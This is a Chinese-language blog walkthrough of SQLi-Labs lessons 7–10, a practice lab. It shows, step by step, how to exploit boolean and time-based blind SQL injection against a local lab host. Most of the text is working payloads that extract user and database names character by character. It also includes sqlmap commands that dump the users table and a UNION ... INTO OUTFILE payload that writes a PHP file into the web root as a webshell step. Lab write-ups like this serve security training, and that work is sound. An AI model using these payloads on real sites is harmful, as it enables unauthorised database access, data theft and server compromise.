WEB常见漏洞之SQL注入(靶场篇—1)2

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: WEB常见漏洞之SQL注入(靶场篇—1)

Lesson-7

该题为双括号单引号get型注入,利用方式包括布尔盲注、时间盲注


id=1'

目标SQL语句如下:







$sql = select * from users where id=(('$id')) limit 0,1# 返回内容if true:    输出 You are in.... Use outfile......else:    输出 You have an error in your SQL syntax

注意:本题与之前稍有不同,由于不输出数据库报错信息,因此不可以使用报错注入的注入方式,但是这并不影响正常使用布尔盲注、时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可

在此题中作者还希望我们导出数据,可在数据库中进行查询导出权限


show global variables like "%secure%";

我们主要看其中的secure_file_priv参数,不同的值代表不同的含义




null #不允许导入、导出/tmp/ #只允许在/tmp目录下导入、导出空 #不限制导入导出

在 mysql 配置文件中修改为secure_file_priv=并再次查询,发现 mysql 写入配置已开启






在 MySQL 中写入文件需满足以下几个条件:必须知道需要写入的文件目录(一般为站点目录)的绝对路径当前用户具有 FILE 权限需要读取的文件所有字节刻度,但内容必须小于max_allowed_packet与此同时还需要考虑路径转义问题,即使用\\分隔路径

通过布尔盲注判断注入点,尝试验证


id=1')) AND (('1'))=(('1 //返回正常界面


id=1')) AND (('1'))=(('2 //返回错误界面

查询长度



id=1')) and length(user())>1--+ //返回正常界面id=1')) and length(user())>20--+ //返回错误界面

确认长度为14位


id=1')) and length(user())=14--+ //返回正常界面

查询字符




id=1')) and substr(user(),1,1)='r'--+ //返回正常界面id=1')) and left(user(),1)='r'--+ //left()函数id=1')) and ascii(substr(user(),1,1))=114--+ //ASCII码


id=1')) and substr(user(),2,1)='r'--+ //返回错误界面

确定用户名为root@localhost


id=1')) and substr(user(),1,14)='root@localhost'--+

以此类推即可查询数据库名、表名、列名等


id=1')) and substr((select database()),1,14)='security'--+

由于盲注太过繁琐,可以使用 sqlmap 来获取信息


sqlmap -u "http://172.16.117.135/sqli/Less-7/?id=1" --dbms=mysql --flush-session --technique=B -v 3 -D security -T users --dump

存在注入点

扫描结果如下:

使用insert into导出文件需满足以下条件:

  • 站点路径为C:\phpStudy\PHPTutorial\WWW
  • 当前用户为root,拥有站点目录的写入权限
  • MySQL安全配置已关闭

以上条件已知,我们可以通过注入直接写入 webshell


id=1')) union select 1,2,"<?php phpinfo()?>" INTO OUTFILE "C:\\phpStudy\\PHPTutorial\\WWW\\mac.php"--+

成功写入

Lesson-8

该题为单引号get型注入,利用方式包括布尔盲注、时间盲注

id=1'

目标SQL语句如下:

$sql = select * from users where id='$id' limit 0,1
# 返回内容
if true:
   输出 You are in....
else:
   输出 You have an error in your SQL syntax

注意:本题与之前稍有不同,由于不输出数据库报错信息,因此不可以使用报错注入的注入方式,但是这并不影响正常使用布尔盲注、时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可

使用布尔盲注判断注入点,尝试验证
id=1' AND '1'='1 //返回正常界面

id=1' AND '1'='2 //返回错误界面

查询长度

id=1' and length(user())>1--+ //返回正常界面
id=1' and length(user())>20--+ //返回错误界面

确认长度为14位

id=1' and length(user())=14--+ //返回正常界面

查询字符

id=1' and substr(user(),1,1)='r'--+ //返回正常界面
id=1' and left(user(),1)='r'--+ //left()函数
id=1' and ascii(substr(user(),1,1))=114--+ //ASCII码

id=1' and substr(user(),2,1)='r'--+ //返回错误界面

确定用户名为root@localhost

id=1' and substr(user(),1,14)='root@localhost'--+

以此类推即可查询数据库名、表名、列名等

id=1' and substr((select database()),1,14)='security'--+

由于盲注太过繁琐,可以使用 sqlmap 来获取信息

sqlmap -u "http://172.16.117.135/sqli/Less-8/?id=1" --dbms=mysql --flush-session --technique=B -v 3 -D security -T users --dump

扫描结果如下:

Lesson-9

该题为单引号get型注入,利用方式包括时间盲注

id=1'

目标SQL语句如下:

$sql = select * from users where id='$id' limit 0,1
# 返回内容
if true:
   输出 You are in....
else:
   输出 You are in....

注意:本题与之前稍有不同,由于无论输入什么输出都相同,因此不可以使用布尔盲注的注入方式,但是这并不影响正常使用时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可

使用时间盲注判断注入点,尝试验证

id=1' AND sleep(5)--+ //界面响应需5秒以上

640.png

查询长度

id=1' and if(length(user())>1,sleep(5),0)--+ //界面响应需5秒以上
id=1' and if(length(user())>20,sleep(5),0)--+ //快速返回界面

640.png

确认长度为14位

id=1' and if(length(user())=14,sleep(5),0)--+ //界面响应需5秒以上

查询字符

id=1' and if(substr(user(),1,1)='r',sleep(5),0)--+ //界面响应需5秒以上
id=1' and if(left(user(),1)='r',sleep(5),0)--+ //left()函数
id=1' and if(ascii(substr(user(),1,1))=114,sleep(5),0)--+ //ASCII码

id=1' and if(substr(user(),1,1)='r',sleep(5),0)--+ //快速返回界面

确定用户名为root@localhost

id=1' and if(substr(user(),1,14)='root@localhost',sleep(5),0)--+

以此类推即可查询数据库名、表名、列名等

id=1' and if(substr((select database()),1,14)='security',sleep(5),0)--+

由于盲注太过繁琐,可以使用 sqlmap 来获取信息

sqlmap -u "http://172.16.117.135/sqli/Less-9/?id=1" --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump

扫描结果如下:

Lesson-10

该题为双引号get型注入,利用方式包括时间盲注

id=1"

目标SQL语句如下:

$id = '"'.$id.'"';
$sql = select * from users where id=$id limit 0,1;
# 返回内容
if true:
   输出 You are in....
else:
   输出 You are in....

注意:本题与之前稍有不同,由于无论输入什么输出都相同,因此不可以使用布尔盲注的注入方式,但是这并不影响正常使用时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可

使用时间盲注判断注入点,尝试验证

id=1" AND sleep(5)--+ //界面响应需5秒以上

640.png

查询长度

id=1" and if(length(user())>1,sleep(5),0)--+ //界面响应需5秒以上
id=1" and if(length(user())>20,sleep(5),0)--+ //快速返回界面

640.png

640.png

确认长度为14位

id=1" and if(length(user())=14,sleep(5),0)--+ //界面响应需5秒以上

640.png

查询字符

id=1" and if(substr(user(),1,1)='r',sleep(5),0)--+ //界面响应需5秒以上
id=1" and if(left(user(),1)='r',sleep(5),0)--+ //left()函数
id=1" and if(ascii(substr(user(),1,1))=114,sleep(5),0)--+ //ASCII码

id=1" and if(substr(user(),2,1)='r',sleep(5),0)--+ //快速返回界面

确定用户名为root@localhost

id=1" and if(substr((select database()),1,14)='security',sleep(5),0)--+

以此类推即可查询数据库名、表名、列名等

sqlmap -u "http://172.16.117.135/sqli/Less-10/?id=1" --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump

由于盲注太过繁琐,可以使用 sqlmap 来获取信息

sqlmap -u "http://172.16.117.135/sqli/Less-10/?id=1" --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump

但我们并没有扫描出结果,原因是 sqlmap 在默认情况下不会测试双引号,因此我们需要设置level=3使 sqlmap 测试双引号

sqlmap -u "http://172.16.117.135/sqli/Less-10/?id=1"--dbms=mysql --flush-session--technique=T -v 3-D security-T users --dump --level=3

扫描结果如下:

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
10天前
|
安全 关系型数据库 MySQL
Web安全-条件竞争漏洞
Web安全-条件竞争漏洞
21 0
|
6天前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
30 8
|
6天前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
11 3
|
9天前
|
安全 应用服务中间件 开发工具
Web安全-SVN信息泄露漏洞分析
Web安全-SVN信息泄露漏洞分析
30 2
|
10天前
|
JSON 安全 JavaScript
Web安全-JQuery框架XSS漏洞浅析
Web安全-JQuery框架XSS漏洞浅析
45 2
|
8天前
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
3月前
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
68 13
|
3月前
|
SQL
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
|
3月前
|
SQL 存储 网络安全
关系数据库SQLserver 安装 SQL Server
【7月更文挑战第26天】
48 6
|
2月前
|
SQL 安全 Java
驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is not accepted by client
驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is not accepted by client
232 0
下一篇
无影云桌面